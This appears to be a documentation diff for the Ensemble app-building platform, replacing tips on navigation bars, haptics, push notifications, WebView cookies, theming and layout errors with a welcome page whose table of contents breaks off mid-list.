Screen with BottomNavBar - -We can use [navigateScreen](#navigatescreen) for combining functionality of [BottomNavBar](#bottomnavbar) together with it for daily tasks like beside using BottomNavBar items to navigate across different screens, we can also make use of [navigateScreen](#navigatescreen) here to navigate across screen keeping the bottomNavBAr in place as well. Let us look at an example to make better sense of it. - -**Example** - -In this scenario we want to navigate to Profile screen using `Account` item in the bottomNavBar menu and also an icon in our `dashboard` screen. Given is code for different screen widgets `CustomHeader` for our screen header with an Profile Picture and [ViewGroup](#view-group) with bottomNavBar. - -**Explanation** - -- For each item in the menu we have used an expression which evaluates `selectedIndex` every time our screen re-renders ( it renders whenever user navigates from one screen to other screen using menu items ). -- Account item have `selectedIndex` of 4 as we are sending it as input from `navigateScreen` action in the `dashboard` screen's `CustomHeader` widget. -- So when we click on Profile Picture in the header for dashboard screen the bottomNavbar re-renders updating selectedIndex value which evaluates true for only `Account` item and thus we move to profile screen using both `Account` Item and the `Profile Picture` - -**Code** - -```yaml -CustomHeader: - body: - Row: - styles: - mainAxis: spaceBetween - crossAxis: center - backgroundColor: 0xff04010d - children: - - Markdown: - styles: - textStyle: - fontSize: 16 - color: white - text: Your Goals - - Image: - styles: - width: 40 - height: 40 - borderRadius: 40 - placeholderColor: transparent - source: ${auth.user.photo} - onTap: - navigateScreen: - name: App - inputs: - selectedIndex: 4 -``` - -ViewGroup with BottomNavBar - -```yaml -ViewGroup: - BottomNavBar: - styles: - backgroundColor: 0xEE000000 - floatingBackgroundColor: black - floatingIconColor: yellow - notchColor: black - selectedColor: 0xFF34CAF7 - color: 0xFF999999 - - items: - - label: Home - icon: - name: bar_chart_2_line - library: remix - page: Home - - - label: Learn - icon: - name: movie_line - library: remix - page: Insights - - - label: Advisors - icon: - name: customer_service_2_line - library: remix - page: Advisors - - - label: Account - icon: - name: account_circle_line - library: remix - page: Account - selected: "${selectedIndex == 4 ? true : false}" - - - icon: - name: flashlight_fill - library: remix - floating: true - floatingAlignment: center - floatingMargin: 0 - onTap: - navigateScreen: - name: ChatPage - inputs: - threadId: 0 - userId: "${ensemble.storage.userAccount != null ? ensemble.storage.userAccount.id : ''}" -``` - -![Alt text](public/images/tips/image-9.png) - -![Alt text](public/images/tips/image-10.png) - ---- - -# Dynamic Color Modification in JavaScript - -**Objective** - -To dynamically change the color of a Text widget based on a JavaScript variable. The goal is to customize the color property of the Text widget's style. - -To achieve this, consider the following steps: - -1. Access Text Widget: - Obtain a reference to the Text widget that you want to modify. In the provided example, it can be accessed using the identifier (id). - ```yaml - - Text: - text: Hi there! - styles: - textStyle: - fontSize: 24 - color: blue - id: helloUser - ``` - -2. Modify Color Property: - Directly modify the color property of the Text widget's style using the assigned identifier. - ```javascript - helloUser.color = 'red'; - ``` - ---- - -# Configuring BottomNavBar Icons - -**Objective** -To add a heart icon to a BottomNavBar item, ensuring correct rendering. If using a default icon, no additional library specification is needed; however, for non-default icons like Font Awesome, it's crucial to specify the library. - -To achieve this, consider the following steps: - -1. Default Icons: - If using default icons (e.g., "home," "search," "shopping_cart"), no library specification is required. Simply provide the icon name. - ```yaml - BottomNavBar: - styles: - backgroundColor: 0xFF1F2128 - items: - - label: Home - icon: search - screen: Home - ``` - -2. fontAwesome Icons: - For non-default icons, particularly those from Font Awesome, ensure to specify the library using the iconLibrary attribute. - ```yaml - BottomNavBar: - styles: - backgroundColor: 0xFF1F2128 - items: - - label: Favourite - icon: heart - screen: Home - iconLibrary: fontAwesome - ``` - -3. Active Icons: - If an active state icon is needed (e.g., a different icon when the item is selected), use the activeIcon attribute. - ---- - -# Invoke Haptics - -We can use the invokeHaptic action to provide haptic feedback in your app. This feature enhances the user experience by providing tactile responses for different interactions. - -The invokeHaptic action is utilized to trigger haptic feedback, and it supports various types such as heavyImpact, mediumImpact, lightImpact, and vibrate. -Buttons are used to demonstrate different haptic types, and the last button showcases using JavaScript code to invoke the lightImpact haptic. - -Please note that haptics will only work on native apps. - -invokeHaptic action is utilized to trigger haptic feedback, and it supports various types. -- Button: - label: Heavy Impact - onTap: - invokeHaptic: - type: heavyImpact - -Additionally "Vibrate" button demonstrates chaining actions by using the onComplete property to execute additional JavaScript code after the haptic feedback is played. -- Button: - label: Vibrate (Using onComplete action to chain) - onTap: - invokeHaptic: - type: vibrate - onComplete: - executeCode: - body: | - //@code - console.log("Vibrate Haptic played") - -Furthermore, the onTapHaptic property is used for the "Selection Click" button, demonstrating an alternative way to trigger haptic feedback. -- Button: - label: Selection Click (Using onTapHaptic property) - onTapHaptic: selectionClick - onTap: - executeCode: - body: | - //@code - console.log("Button Pressed") - ---- - -# Custom Lottie Animations with Events and Controls - -With features like onStart, onPause, onComplete, and control buttons, you can create interactive animations tailored to your application. - -The Lottie animations have events such as onForward, onReverse, onPause, and onComplete. Control buttons are provided to trigger these events dynamically. -- Lottie: - id: MyLottie - autoPlay: false - repeat: false - onForward: | - //@code - console.log("Forward"); - onReverse: | - //@code - console.log("Reverse"); - onPause: | - //@code - console.log("Pause"); - onComplete: | - //@code - console.log("Completed"); - source: https://assets6.lottiefiles.com/private_files/lf30_rnpgzd17.json - styles: - width: 400 - height: 200 - -- Button: - styles: - outline: true - borderColor: 0xffed5742 - borderRadius: 20 - backgroundColor: 0xffaad6de - labelStyle: - color: 0xffed5742 - label: Forward - onTap: | - //@code - console.log("Forward"); - MyLottie.forward(); - ---- - -# HTML Widget with maxLines Support and Enhanced Styling - -The HTML widget allows you to apply CSS-like styles to specific elements within the HTML content. Customize text color, font size, and font weight effortlessly using both CSS tags and the box wrapper, providing increased styling flexibility. - -The
    with an id of "hello" and the

    with an id of "tag2" are styled with various properties such as border, borderRadius, padding, color, fontWeight, backgroundColor, maxLines, and textOverflow. - -- Html: - id: myHtml - cssStyles: - - selector: "#hello" - properties: - border: 10px solid red - borderRadius: 10px - padding: 20px - - selector: "#tag2" - properties: - color: white - fontWeight: "900" - backgroundColor: red - maxLines: 2 - textOverflow: ellipsis - text: | -

    -

    Until recently, the prevailing view assumed lorem ipsum was born as a nonsense text. “It's not Latin, though it looks like it, and it actually says nothing,” Before & After magazine answered a curious reader, “Its ‘words’ loosely approximate the frequency with which letters occur in English, which is why at a glance it looks pretty real.”

    - - As Cicero would put it, “Um, not so fast.” - - The placeholder text, beginning with the line “Lorem ipsum dolor sit amet, consectetur adipiscing elit”, looks like Latin because in its youth, centuries ago, it was Latin. - - Richard McClintock, a Latin scholar from Hampden-Sydney College, is credited with discovering the source behind the ubiquitous filler text. In seeing a sample of lorem ipsum, his interest was piqued by consectetur—a genuine, albeit rare, Latin word. Consulting a Latin dictionary led McClintock to a passage from De Finibus Bonorum et Malorum (“On the Extremes of Good and Evil”), a first-century B.C. text from the Roman philosopher Cicero. - - ---- - -# Push Notification - -## Setup -This guide will walk you through setting up iOS/Android push notifications for your Ensemble app. Before you begin, ensure your bundle ID is correct. Also ensure the `appId` under `ensemble.properties` has the same bundle ID. - -#### iOS Setup -An Apple developer account is required to setup push notification and deploy the app. Each account requires a single APNs certificate for push notifications that work across all your Apps. If you don't already have one, go to https://developer.apple.com/account/resources/authkeys/list. -- Create a new Key and select "Apple Push Notification service (APNs)". -- Download the key and save it in a secure location (you can only download it once). You will need this key to upload to Firebase. - -#### Setup Firebase -- Create a new Firebase project if not already created. Go to Project Settings. - - Under "General" tab, add an iOS or Android app, then download the `GoogleService-Info.plist` or `google-services.json` respectively. - - Under "Cloud Messaging" tab and inside "Apple app configuration", upload the APNs Authentication Key you created / downloaded earlier in your Apple developer account. - - Use the Key ID under the APNs key you created earlier. - - Use the Team ID from your Apple Developer account. - -### Setup Ensemble -- Open `/starter/lib/generated/ensemble_modules.dart` with an Editor and change `useNotifications` to true. -- open Xcode under `/starter/ios`. - - Under Signing & Capabilities, click on `+ Capability` button. - - Add `Push Notifications`. - - Add `Background Modes` and check `Remote notifications`, `Background fetch` and `Background processing`. - - drop "GoogleService-Info.plist" in ios/Runner -- Drop the `google-services.json` in `android/app` folder. - -### Testing notifications -- Firebase requires a device token to send notification to. For testing purpose you can retrieve the device token by using the following app definition. Upon running this screen, it will ask the user to authorize Notifications. Once authorized, the device token will be displayed. -```yaml -View: - onLoad: - requestNotificationAccess: - onAuthorized: |- - status.value = event.data.deviceToken; - - # if denied, you may want to take the user to another screen, - # explaining why notifications are needed with an option to - # take the user to Settings' Notification page. - onDenied: - navigateScreen: - name: Enable Notifications - - # Optional - set the header for the screen - header: - title: What's my device token - - # Specify the body of the screen - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - TextInput: - id: status -``` -- To send a test notification from Firebase, Go to "Messaging" and create your first campaign. - - Select `Firebase Notification messages`. - - Enter a notification text and click "Send test message". - - Enter the device token above and click "Test". - - You should be receiving a push notification - -### Update when token changes -- Firebase can occasionally assign a new device token. When that happens, Ensemble automatically save a copy of the latest token, accessible via `ensemble.device.deviceToken`. - -- To update your server with the latest token, you can usually add the logic inside your home screen (where the user has been authenticated). Below is a example: -```yaml -## Home screen: -View: - onLoad: - invokeAPI: - name: updateDeviceToken - -API: - updateDeviceToken: - url: - headers: - Authorization: Bearer - body: - newToken: ${ensemble.device.deviceToken} - - -``` - -## Handling Notifications -Ensemble provides multiple ways to handle notifications to suit your use cases. -1. **[Notification Handler](#creating-a-script-and-handler-function)**: Define a notification handler (see below) in JavaScript to be executed on every notification received. You can run logic then return a payload to navigate to a screen. -2. **[Navigating to a Screen](#navigating-to-a-screen)**: If a handler is not specified but you want to navigate to a screen upon the user tapping on the notification, simply provide either the screenId or screenName in the notification payload. -3. If neither of the above is specified, the app will simply open up the app (if it is currently not on the foreground). - -#### Creating a Script and Handler Function -Navigate to or create a script in the Scripts section. For example, you might have a script called Common. -In the script, create a function that will be called whenever a notification is received. For example: -```js -function handle_notification(notification) { - // Your notification handling logic here -} -``` -The notification parameter contains the message data in JSON format. - -Inside this function, you can: - -- Write your routing logic -- Access ensemble.storage -- Perform one action: navigation -To navigate, simply return the payload of a navigationScreen action. The framework will handle the navigation. - -Example: - -```js -function handle_notification(notification) { - console.log(notification); - - // Assuming the screen name is in the FCM data section - var payload = { - "name": notification['data']['screen'], - // You can also pass inputs that will be accessible on the destination screen - }; - - return payload; -} -``` -If you don't want to navigate, simply don't return anything. - -Marking the Function as a Notification Handler -To designate your function as the notification handler: - -- Go to `Settings` -> `Environment Variables` -- Add a new variable called `ensemble_notification_handler` -- Set its value to `scriptName.handlerName` -For our example, it would be `Common.handle_notification`. - -Once set, `Common.handle_notification` will be called every time a notification is received. - -#### Navigating to a Screen -Instead of creating a handler function in Javascript, you can specify the screenId or screenName in the notification payload. This will navigate to the specified screen when the user taps on the notification. - -Here is an example notification payload sent from the server. Note the screenId / screenName (you should specify one or the other, but not both) in the data section. -```yaml -{ - "token": "", - "notification": { - "title": "Hi from Ensemble", - "body": "Hello this is a sample notification" - }, - "apns": { - "payload": { - "aps": { - # update the badge count on iOS - "badge": 5 - } - } - }, - # custom data sent to Ensemble - "data": { - "screenId": "", - "screenName": "", - "hello": "world" - } -} -``` - -Upon receiving this notification, Ensemble will navigate to the screen specified, and pass along the notification title/body, along with the data payload to the screen. You can access this data in the screen using `notificationPayload.*`. Here is an example of the screen the notification will redirect to: -```yaml -View: - body: - Text: - text: |- - Notification redirected me here: - Notification title: ${notificationPayload.title} - Notification body: ${notificationPayload.body} - Notification payload: ${notificationPayload.data.hello} -``` - ---- - -# Using device width and height - -You have access to device width and height through: - -``` -device.width -device.height -``` - -You can use them to set width and height of a widget. Note that when doing calculations that might result in doubles, you must round the number. E.g. if you divide the width by two, on some devices, the result might be a double such as `190.5`. Use `Math.floor` to round it down to `190`. - - -```yaml -View: - body: - Column: - children: - - Shape: - type: rectangle - styles: - width: ${Math.floor(device.width / 2)} - height: ${Math.floor(device.height / 2)} - backgroundColor: yellow -``` - ---- - -### Using BottomSafeArea for Responsive Layouts - -In mobile devices, especially those with a 3-button navigation bar (as seen on some Android devices), extra space at the bottom can affect the layout of your UI elements. To ensure that your content doesn't get overlapped by the navigation bar, it’s important to adjust the height of your widgets to exclude the space taken by the navigation bar, known as the "Safe Area." - -EnsembleUI provides access to the device’s dimensions, including the height and the bottom safe area, allowing you to adjust your UI accordingly. By subtracting the bottom safe area from the total height, your layout dynamically adjusts, ensuring nothing overlaps with the navigation bar. Here's an example: - -```yaml -FlexColumn: - styles: - height: ${ device.height - device.safeAreaBottom } -``` - -#### Visual Example: - -Here are two screenshots that show the UI with and without the 3-button navigation bar, demonstrating how the layout adjusts dynamically. - - -
    - - - - - -
    - With 3-Button Navigation Bar - - With Swipe Navigation -
    -
    - - -By implementing this trick, you ensure that your app’s UI remains consistent and user-friendly across devices with different navigation styles. This technique prevents layout issues such as buttons being hidden or content being overlapped. - ---- - -# Floating Button - -[Kitchen Sink Example](https://studio.ensembleui.com/app/YQGEapU8rrEfhTJJLzz8/screen/Vz7SuvSTF8i5no7jKXGx) - -```yaml - Stack: - styles: - alignChildren: bottomLeft - children: - - ListView: - styles: - padding: 12 - gap: 10 - children: - - Text: - text: Hi there! - - Button: - label: Checkout Ensemble Kitchen Sink - onTap: - openUrl: - url: "https://studio.ensembleui.com/preview/index.html?appId=e24402cb-75e2-404c-866c-29e6c3dd7992" - - - Card - - Card - - Card - - Card - - - Button: - startingIcon: - name: plus - library: fontAwesome - styles: - padding: 20 25 - margin: 30 -``` - -### ListView: -- The `ListView` component displays a list of items on the screen. -- Additional styles are applied to customize its appearance, such as padding and gap between items. -- Within the `ListView`, various child components like `Text` and `Cards` are nested to represent different content sections. - -### Button (Floating Button): -- Positioned alongside the `ListView` within the `Stack`, the `Button` component serves as the floating action button. -- Its placement on the same level as the `ListView` within the `Stack` allows it to overlay the content, creating the floating effect. -- `Styles` are applied to adjust the button's appearance, including padding and margin for spacing. - -## Floating Button Implementation: -By placing the `Button` component within the `Stack` alongside the `ListView`, it remains visually separate from the list content and appears to float above it. This arrangement allows for easy access to important actions while maintaining a clean and organized UI layout. - ---- - -# Creating an Avatar - -Display basic avatars with various configurations such as size, shape, and borders. You can also display avatars with initials when an image source is unavailable. - -Use the `Avatar` component inside a `Flow` or other container. -Set the `source` attribute to the URL of the image for the avatar. - -```yaml -- Avatar: - source: https://mui.com/static/images/avatar/1.jpg -- Avatar: - source: https://mui.com/static/images/avatar/2.jpg - styles: - width: 50 - borderColor: grey -``` - -Use the `Stack` component to overlay additional elements on the `Avatar`. - -```yaml -- Stack: - children: - - Avatar: - source: https://mui.com/static/images/avatar/2.jpg - styles: - width: 80 - - Icon: - name: camera_line - library: remix - styles: - color: black -``` - ---- - -# Cookies in Webview - -Cookies usage in the EnsembleUI WebView is designed to enhance functionality, especially in native applications. The code snippet allows you to set cookies directly for the WebView, and it provides options to control navigation based on cookie conditions. - -## WebView Configuration -```yaml - WebView: - # Setting cookies for the WebView (only works for native applications) - cookies: ${cookiesArray} #assumes cookiesArray has been defined as a js variable elsewhere - - # Taking cookies from the set-cookies header directly (only works for native applications) - cookieHeader: ${cookieString} #assumes cookiesString has been defined as a js variable elsewhere - - id: webview - uri: https://ensembleui.com/ - styles: - height: 400 -``` -See [Webview in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/22c8d57d-a906-4d11-873d-161fd6c56c0a) for the full example -### Cookies Setting -The `cookies` property allows you to set cookies directly for the WebView. The cookies are defined in the `cookiesArray` variable in the Global section. -The `cookieHeader` property takes cookies from the set-cookies header directly. The cookies are specified in the `cookieString` variable in the Global section. - -### Cookie Usage Example -```yaml - Global: |- - //@code - var cookieString = "CustomName=CustomValue; Max-Age=2592000; Domain=ensembleui.com; Path=/; Expires=Sun, 30 Nov 2024 14:08:46 GMT; HttpOnly=false; Secure=true; SameSite=None"; - - var cookiesArray = - [ - { - "name": "CustomName1", - "value": "CustomValue1", - "domain": ".ensembleui.com", - "path": "/", - "expires": 1727414966.520928, - "httpOnly": false, - "secure": false, - "sameSite": "None" - }, - { - "name": "CustomName2", - "value": "CustomValue2", - "domain": "github.com", - "path": "/", - "expires": 1727414959.838461, - "httpOnly": false, - "secure": false, - "sameSite": "None" - }, - ] -``` - -**Notes** -Cookie handling features are applicable only to native applications, not web applications. -Customize the cookies and cookie-related settings according to your application's requirements. -Understand the navigation control mechanism based on cookies, especially regarding its platform-specific behavior. - ---- - -One common theme in most apps is to show a progress dialog while an API is being processed on the server and close it when the response from the API has been received. This can easily be achieved as follows. Note the use of closeAllDialogs action. - -This method will not work when the progress container is being displayed on top of an existing dialog as closeAllDialogs will close the dialog under it as well which may not be what you desire. - -Lastly a dialog is not the samething as a modal that is displayed with navigateModalScreen. Calling closeAllDialogs does NOT close the modal that is opened with navigateModalScreen - - ```yaml - - Button: - label: Custom Progress - closes in 3 seconds - onTap: - showDialog: - widget: - ProgressDialog: - inputs: - userId: 1 - -ProgressDialog: - inputs: - - userId - onLoad: - invokeAPI: - name: getMockUser - inputs: - userId: ${userId} - onResponse: - #adding this timer here just so that we can delay closing the dialog - startTimer: - options: - startAfter: 3 - repeat: false - onTimer: - #all you need to do to close the dialog is to call closeAllDialogs action - closeAllDialogs: - body: - Column: - styles: - crossAxis: center - gap: 8 - children: - - Progress: - - Text: - text: Just a moment... - -API: - getMockUser: - inputs: - - userId - uri: https://dummyjson.com/users/${userId} - method: GET -``` -See [this](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c2c248f2-a289-40d3-acd5-65a1a7f3c5a2#) for a live example - ---- - -# General Color for All Buttons across an App - -Defining a theme for your app so as to save time for writing repeated code for text colors, backgroundColors etc is a better way for being efficient and avoiding DRY principle. EnsembleUI enables us to define our own App theme. You can find more about themes [here](). For now lets focus on achieving a general color our Button text. - -**Example** -Lets us consider an App where we want to use `0xFF308775` color for our all Buttons text. To achieve this we will use Theme option in ensemble studio. - -**Steps** - -1. Go to your App and click on **Theme** in left side panel. Here is hw it looks like. - -![Alt text](public/images/tips/image-4.png). - -2. Then use the code below to define [primary]() color for button color, focus color etc. - -**Code** - - - -```yaml -# define your app theme here -Colors: - primary: 0xFF308775 -``` - - - -**Output** - -![Alt text](public/images/tips/image-5.png) - - -Note: `Just like all other Web and Mobile technologies like Html, Css and Flutter etc if there is style done on a button it will be of higher priority then theme so to let theme work no need to style button color at all.` - ---- - -## Icon Without Label - -Since these kind of icons require us to utilize [custom widgets]() thus we will be using **customItem** widget for getting through it. It has two properties namely **widget** and **selectedWidget**. - -| Property | Type | Description | -| :------------- | :----- | :--------------------------------------------------------------------- | -| widget | widget | Used for inactive item. | -| selectedWidget | widget | Used for active item. | -| page | screen | Used for naming the screen to which we navigate once clicked upon item | - -We will utilize these two to achieve two different states for an icon active and inactive. Let us see the code example - -**Example** - - - -```yaml -ViewGroup: - BottomNavBar: - styles: - backgroundColor: white - color: 0xFF9DAEC1 - selectedColor: black - floatingBackgroundColor: 0xFF8A1C9D - floatingIconColor: white - notchColor: 0xFF0F0E1C - items: - - customItem: - widget: - IconWidget: - inputs: - icon: home - selectedWidget: - ActiveIconWidget: - inputs: - icon: home - page: Home - - - customItem: - widget: IconOnlyWidget - selectedWidget: ActiveIconOnlyWidget - page: Chat - - - customItem: - widget: - IconWidget: - inputs: - icon: account_balance_wallet - selectedWidget: - ActiveIconWidget: - inputs: - icon: account_balance_wallet - page: Home -``` - - - -**Output** -![Alt text](public/images/tips-and-tricks/image.png) -![Alt text](public/images/tips-and-tricks/image-1.png) - -**Note:**`BottomNavBar is used to navigate across whole application so it always has a separate screen where it comes under [View Group]() with all the items corresponding to each screen of your application.` - -**Explanation** - -Each item has two properties for active and inactive widget. [IconWidget](#iconwidget) and [IconOnlyWidget](#icononlywidget) represents the in-active state / screen while [ActiveIconWidget](#activeiconwidget) and [ActiveIconOnlyWidget](#activeicononlywidget) for active state / screen. Both of these are [custom widgets](). Its important to notice that [IconWidget](#iconwidget) and [ActiveIconWidget](#activeiconwidget) accept input as well which is the **name** of the **icon** we want to use. - -##### IconWidget - - - -```yaml -IconWidget: - inputs: - - icon - body: - Column: - styles: { mainAxis: center, crossAxis: center } - children: - - Icon: - icon: ${icon} - styles: - color: 0x70000000 - size: 28 -``` - - - -##### ActiveIconWidget - - - -```yaml -ActiveIconWidget: - inputs: - - icon - body: - Column: - styles: { mainAxis: center, crossAxis: center } - children: - - Icon: - icon: ${icon} - styles: - color: black - size: 28 -``` - - - -##### IconOnlyWidget - - - -```yaml -IconOnlyWidget: - body: - Column: - styles: { mainAxis: center, crossAxis: center } - children: - - Icon: - icon: star - styles: - backgroundColor: transparent - borderColor: black - color: yellow - borderRadius: 26 - padding: 10 - size: 18 -``` - - - -##### ActiveIconOnlyWidget - - - -```yaml -ActiveIconOnlyWidget: - body: - Column: - styles: { mainAxis: center, crossAxis: center } - children: - - Icon: - icon: star - styles: - backgroundColor: 0xFF004548 - color: yellow - borderRadius: 26 - padding: 12 - size: 26 -``` - - ---- - -## Profile Picture - -Its possible that you might need to have your profile picture as item to navigate to settings page or profile page etc, anyway whichever is your case here is how can do it with EnsembleUI. - -**Example** - -```yaml -ViewGroup: - BottomNavBar: - - customItem: - widget: CustomNavBarItemWithImage - selectedWidget: ActiveCustomNavBarItemWithImage - page: WeeklyScheduler -``` - -**Output** - -![Alt text](public/images/image-2.png) -![Alt text](public/images/image-3.png) -**Note:** `Its only specific item code, so as to stay relevant to our topic. You can see complete example` [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/aa634599-cd5d-411c-a4b6-1163f3b5c558?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - -##### CustomNavBarItemWithImage - - - -```yaml -CustomNavBarItemWithImage: - body: - Column: - styles: - padding: 2 8 - children: - - Image: - source: https://robohash.org/hicveldicta.png - styles: - width: 40 - height: 40 - borderRadius: 40 - borderWidth: 2 - borderColor: 0xFFDEDEDE -``` - - - -##### ActiveCustomNavBarItemWithImage - - - -```yaml -ActiveCustomNavBarItemWithImage: - body: - Column: - styles: - padding: 2 8 - children: - - Image: - source: https://robohash.org/hicveldicta.png - styles: - width: 40 - height: 40 - borderRadius: 40 - borderWidth: 2 - borderColor: black -``` - - ---- - -# Specify library icons for start and end - -**Objective** -To specify library icons for startingIcon and endingIcon on a Button - -To achieve this, consider the following steps: - -1. To specify library icons in shorthand notation for startingIcon and endingIcon on a Button, you can use the following syntax: - ```yaml - Button: - startingIcon: wifi - endingIcon: addressBook fontAwesome - ``` -2. Icons can be represented with a more verbose syntax on a Button using the following structure: - ```yaml - Button: - endingIcon: - name: addressBook - library: fontAwesome - size: 50 - color: red - ``` - ---- - -# No Bounded Width Error - -You get the error **"This widget requires a width."** on some widgets. - -e.g. TextInput, Map, ... - -## Reason - -A widget needs a width (and a height) to render. Some widgets can automatically calculate its width based on its content (e.g. Text) or from its children. Others widgets cannot (or should not e.g. what should the width of a Map widget be?). These widgets rely on the parent to constrain (give) them a dimension. - -## Solution - -1. Set an explicit width or max width on this widget (if applicable). -2. The parent needs to constrain the width of this widget. This can mean setting a width on the parent or force the parent to decide how to distribute the space. - - For **Row** parent: Row does not constrain the children's widths so consider using *FlexRow* instead. FlexRow will stretch to fill its parent and distribute the available space between its children. - - For **Stack** parent: Similarly Stack also do not constrain the children's widths. Adjust its stackPositionLeft / stackPositionRight attributes to constrain the children within this width. - - For **horizontal scrollable** parent: Scrollable parent allows its children to decide their own widths (so it knows how to scroll), meaning all children must be able to calculate their own widths. Consider changing your design if you run into this situation. - ---- - -# No Bounded Height Error - -You get the error **"This widget requires a height."** on some widgets - -e.g. Divider (vertical), Map, ... - -## Reason - -A widget needs a height (and a width) to render. Some widgets can automatically calculate its height based on its content (e.g. Text with lineHeight of 2) or from its children, while other widgets rely on the parent to constrain (give) them a dimension. - -## Solution - -1. Set an explicit height on this widget. -2. The parent needs to constrain the height of this widget. This can mean either setting a height on the parent or force the parent to decide how to distribute the vertical space. - - If the parent (or ancestor) is **Column**: Column does not constrain the children's heights so consider using *FlexColumn* instead. FlexColumn will stretch to fill its parent's height and distribute the available vertical space between its children. Be careful when using FlexColumn inside a scrollable ancestor (all widgets inside a scrollable ancestor need to be able to calculate their own heights). - - If the parent is **Row**: Row does constrain the height (crossAxis) so it alone is **not** a problem. However if the parent of the Row is another Column, the Column will not send the height constraint to the Row, which in turn cannot provide the constraint to its children. If your Row has at least 1 child that has a height, you may explicitly set the height constraint to the tallest child's height using `crossAxisConstraint: largestChild`. This will ensure all children without a height will get the height of the row. - - For **Stack** parent: Similarly Stack also do not constrain the children's widths. Adjust its stackPositionTop / stackPositionBottom attributes to constrain the children within this height. - - For **vertical scrollable** parent: Scrollable parent allows its children to decide their own height (so it knows how to scroll), meaning all children must be able to calculate their own heights. Consider changing your design if you run into this situation. - ---- - -# FlexRow No Bounded Width Error - -You get the error **"FlexRow requires a width for child distribution."** - -## Reason - -FlexRow's layout algorithm works by distributing a pre-defined width proportionally to all its children. If the FlexRow does not have an explicit width, its parent is required to constrain its width. This is a variation of [no-bounded-width](/pages/error/no-bounded-width.md) error, but specific to FlexRow. - -## Solution - -1. Set an explicit width on the FlexRow. This width will then be distributed proportionally to its children. -2. The parent (anywhere up the chain) needs to constrain the width of this widget. This can mean either setting a width on the parent or forcing the parent to decide how to distribute the horizontal space. - - For **horizontal Scrollable** ancestor: Having a FlexRow (stretching to the width of the parent) inside a horizontal Scrollable (width is calculated from all children combined) does not make sense. There has to be an explicit width set at least once in the hierarchy chain between the FlexRow and the Scrollable ancestor. - - For **Row** ancestor: Row does not constrain its children's widths (it lets the children dictate their own widths). For this reason, ensure there is a width set (can be explicit or stretched to parent) at least once in the hierarchy chain between the FlexRow and the Row ancestor. - - Consider using all FlexRow(s) instead of Row up the ancestor chain to the root View. This ensure the screen width is distributed properly down to our last FlexRow. - - If you don't need FlexRow's distribution capability, considered using all Rows instead. Rows lay out their children with their requested widths in a left to right manner, with the ability to add horizontal scrollbar as needed. - ---- - -# FlexColumn No Bounded Height Error - -You get the error **"FlexColumn requires a height for child distribution."** - -## Reason - -FlexColumn's layout algorithm works by distributing a pre-defined height proportionally to all its children. If the FlexColumn does not have an explicit height, its parent is required to constrain its height. This is a variation of [no-bounded-height](/pages/error/no-bounded-height.md) error, but specific to FlexColumn. - -## Solution - -1. Set an explicit height on the FlexColumn. This height will then be distributed proportionally to its children. -2. The parent (anywhere up the chain) needs to constrain the height of this widget. This can mean either setting a height on the parent or forcing the parent to decide how to distribute the vertical space. - - For **vertical Scrollable** ancestor: Having a FlexColumn (stretch to parent) inside a vertical Scrollable (height is calculated from all children combined) does not make sense. There has to be an explicit height set at least once in the hierarchy chain between the FlexColumn and the Scrollable ancestor. - - For **Column** ancestor: Column does not constrain its children's heights (it lets the children dictate their own heights). For this reason, ensure there is a height set (can be explicit or stretched to parent) at least once in the hierarchy chain between the FlexColumn and the Column ancestor. - - Consider using all FlexColumn(s) instead of Column up the ancestor chain to the root View. This ensure the screen height is distributed properly down to our last FlexColumn. - - If you don't need FlexColumn's distribution capability, considered using all Columns instead. Columns lay out their children with their requested heights in a top-down manner, with the ability to add vertical scrollbar as needed. - ---- +# Welcome to Ensemble + +## What is Ensemble? + +Ensemble is a platform where you can build, publish, and iterate native and web apps without leaving your browser. + +With Ensemble, you create apps by defining them using a declarative language. Think of it as configuring your app, instead of coding it. Ensemble apps are rendered at runtime by interpreting this declerative definition. This architecture means that: + +1. Ensemble apps are native to each platform: iOS, Android, and web. +2. Ensemble apps can be updated instantly because the app definitions are pushed to clients. You can use Ensemble's cloud service, or use your own server. +3. Ensemble apps always leverage the latest front-end technologies (Flutter for iOS and Android, React for web) so that you don't have to worry about tech-debt incured by using these technologies. + +![architecture](public/images/architecture.png) + +## How do I build my app? + +Ensemble provides a browser-based IDE, [Ensemble Studio](https://studio.ensembleui.com), where you can build, test, and publish your apps all from the browser. You can instantly preview your Ensemble apps on iOS and Anrdoid devices using [Ensemble preview app](#preview-your-app). Once ready to publish, Ensemble automatically push your apps to Apple AppStore and Google PlayStore. For web, you can download a web build and host it on any service. + +## Need help? + +[Chat with us on Discord](https://discord.gg/cEHkJTmn75) + +[Join our office hours](https://discord.gg/eJrUWhnRHS?event=1218554330765066310) + +[Drop us an email](mailto:hello@ensembleui.com) + +## Table of Contents + +- [Studio overview](#studio-overview) +- **Desktop App** + - [Ensemble Studio Desktop App](#ensemble-studio-desktop-app) +- **Screens and Widgets** + - [Ensemble Screen Structure](#ensemble-screen-structure) + - [Layouts](#layouts) + - [Screen Navigation](#screen-navigation) + - [Widgets Directory](#widgets-directory) +- [Script with JavaScript](#script-with-javascript) +- **Apis** + - [Interact with APIs](#interact-with-apis) + - [Define APIs](#define-apis) + - [Invoking APIs, aka calling APIs](#invoking-apis-aka-calling-apis) + - [Access API response body and headers](#access-api-response-body-and-headers) + - [onError](#onerror) + - [Binding APIs to Item Templates](#binding-apis-to-item-templates) + - [Mocking API responses to develop and test your app](#mocking-api-responses-to-develop-and-test-your-app) + - [Chaining APIs](#chaining-apis) + - [SSL Configuration](#ssl-configuration) + - [GraphQL](#graphql) + - [Using WebSockets](#using-websockets) +- **Theme and Styling** + - [Theme](#theme) + - [Animations in EnsembleUI](#animations-in-ensembleui) + - [Using Custom Fonts](#using-custom-fonts) + - [Splash Feedback (Touchable Opacity)](#splash-feedback-touchable-opacity) + - [Text scaling](#text-scaling) +- [Assets (images, videos, etc.)](#assets-images-videos-etc) +- [Persistent Local Storage](#persistent-local-storage) +- [App Settings](#app-settings) +- **Firebase** + - [Configuration of Firebase Project with Ensemble App](#configuration-of-firebase-project-with-ensemble-app) + - [Calling Cloud Firestore APIs](#calling-cloud-firestore-apis) +- [Translations](#translations) +- **Authentication** + - [Authentication](#authentication) + - [Social Sign In](#social-sign-in) + - [Setting up Authentication with 